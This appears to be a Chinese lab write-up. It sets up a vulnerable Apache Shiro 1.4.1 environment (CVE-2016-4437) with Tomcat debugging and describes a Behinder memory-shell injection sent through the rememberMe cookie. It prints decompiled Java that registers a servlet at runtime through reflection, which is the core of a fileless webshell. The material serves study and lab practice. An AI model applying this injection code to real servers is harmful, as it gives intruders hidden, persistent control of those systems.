现如今部署一个靶场的方法有很多,取决于个人喜好和需求;我结合个人能力做出了一些总结:
特点\部署办法 | docker-compose | IDEA tomcat调试部署 | Docker+IDEA |
---|---|---|---|
快捷程度 | 几条命令快捷部署 | 需开放调试端口+tomcat war包(如无则需源码构建) | 你懂的 |
能否调试 | ❎ | ✅ | ✅ |
自定义靶场(如页面) | ❎ | ✅ | ✅ |
本篇文章会侧重描述如何进行针对IDEA的tomcat调试部署;
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.4.1
mvn install
cd samples/web
mvn install
{path-to-shiro}/samples/web/target
目录下的war包复制到tomcat webapps目录下:
$ tree
target
··
│ ├── index.jsp
│ ├── login.jsp
│ ├── logout.jsp
│ └── style.css
├── samples-web-1.4.1.war
$ cp samples/web/target/samples-web-1.4.1.war {path-to-tomcat}/webapps/
bin/catalina.sh
文件中的JAVA_OPTS
(会有多个),修改如下:
JAVA_OPTS="$JAVA_OPTS $JSSE_OPTS"
# Register custom URL handlers
# Do this here so custom URL handles (specifically 'war:...') can be used in the security policy
JAVA_OPTS="$JAVA_OPTS -Djava.protocol.handler.pkgs=org.apache.catalina.webresources"
CATALINA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=5555,suspend=n,server=y"
#上面的CATALINA_OPTS为新增;address为调试端口,可自行更改。
bin/startup.sh
启动,看到以下日志打印则开放调试成功:
$ tail -f logs/catalina.out
Listening for transport dt_socket at address: 5555
10-Mar-2021 09:51:16.763 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log Server.服务器版本: Apache Tomcat/8.5.57
···
10-Mar-2021 09:51:16.769 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 命令行参数:-Xdebug
10-Mar-2021 09:51:16.769 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 命令行参数:-Xrunjdwp:transport=dt_socket,address=5555,suspend=n,server=y
IDEA配置(添加server时为Tomcat Server
->Remote
):
home.jsp
断点后进行http请求,可以看到IDEA中返回的frames详情;
这样基本上一个基本的IDEA+tomcat的调试配置过程基本就完成了,当然,这只是调试前的准备工作,大家多练习几次,基本上就能够熟练掌握;而最重要的以及最难的其实是调试阶段, 调试过程中的一些技巧和能力是在一次次的实践中沉淀下来的,在这里仅仅当作抛砖引玉,不做赘述。
python->pip->docker-compose
,教程自行搜索:)$ git clone https://github.com/vulhub/vulhub.git
$ cd vulhub/shiro/CVE-2016-4437/
$ docker-compose up -d
等待启动即可。
poc代码生成攻击cookie可以参考之前的文章:
分享:Different Shiro Framework deserialization analysis ideas#how to poc
分享:Different Shiro Framework deserialization analysis ideas#验证
这一小节由于个人水平有限,不能像各位师傅一样从tomcat servlet等层面一探究竟,我尽量使用简洁的语言写出我的理解;
工具直接选择”冰蝎2_Tomcat”,执行注入;
http发包请求如下:
我们可以看到HTTP请求为POST请求p
&path
&dy
数据;同时header中加入了rememberMe Cookie
;
分析:
Cookie是作为反序列化的入口,dy
参数应该是写入内存的命令
同时最后返回dynamic inject success
;
我们把利用工具的jar包扔进反编译软件定位到BehOldDemoServlert.class
,我们来看看代码是怎么工作的:
public void dynamicAddServlet(ServletContext servletContext) throws Exception {
Method method;
String wrapperName = this.path;
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade)servletContext;
Field applicationContextField = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(applicationContextFacade);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
Object newWrapper = invoke(standardContext, "createWrapper", (Object[])null);
invoke(newWrapper, "setName", new Object[] { wrapperName });
setFieldValue(newWrapper, "instance", this);
Class<?> containerClass = Class.forName("org.apache.catalina.Container", false, standardContext.getClass().getClassLoader());
Object oldWrapper = invoke(standardContext, "findChild", new Object[] { wrapperName });
if (oldWrapper != null)
standardContext.getClass().getDeclaredMethod("removeChild", new Class[] { containerClass });
standardContext.getClass().getDeclaredMethod("addChild", new Class[] { containerClass }).invoke(standardContext, new Object[] { newWrapper });
try {
method = standardContext.getClass().getMethod("addServletMappingDecoded", new Class[] { String.class, String.class });
} catch (Exception var9) {
method = standardContext.getClass().getMethod("addServletMapping", new Class[] { String.class, String.class });
}
method.invoke(standardContext, new Object[] { this.path, wrapperName });
init((ServletConfig)getFieldValue(newWrapper, "facade"));
}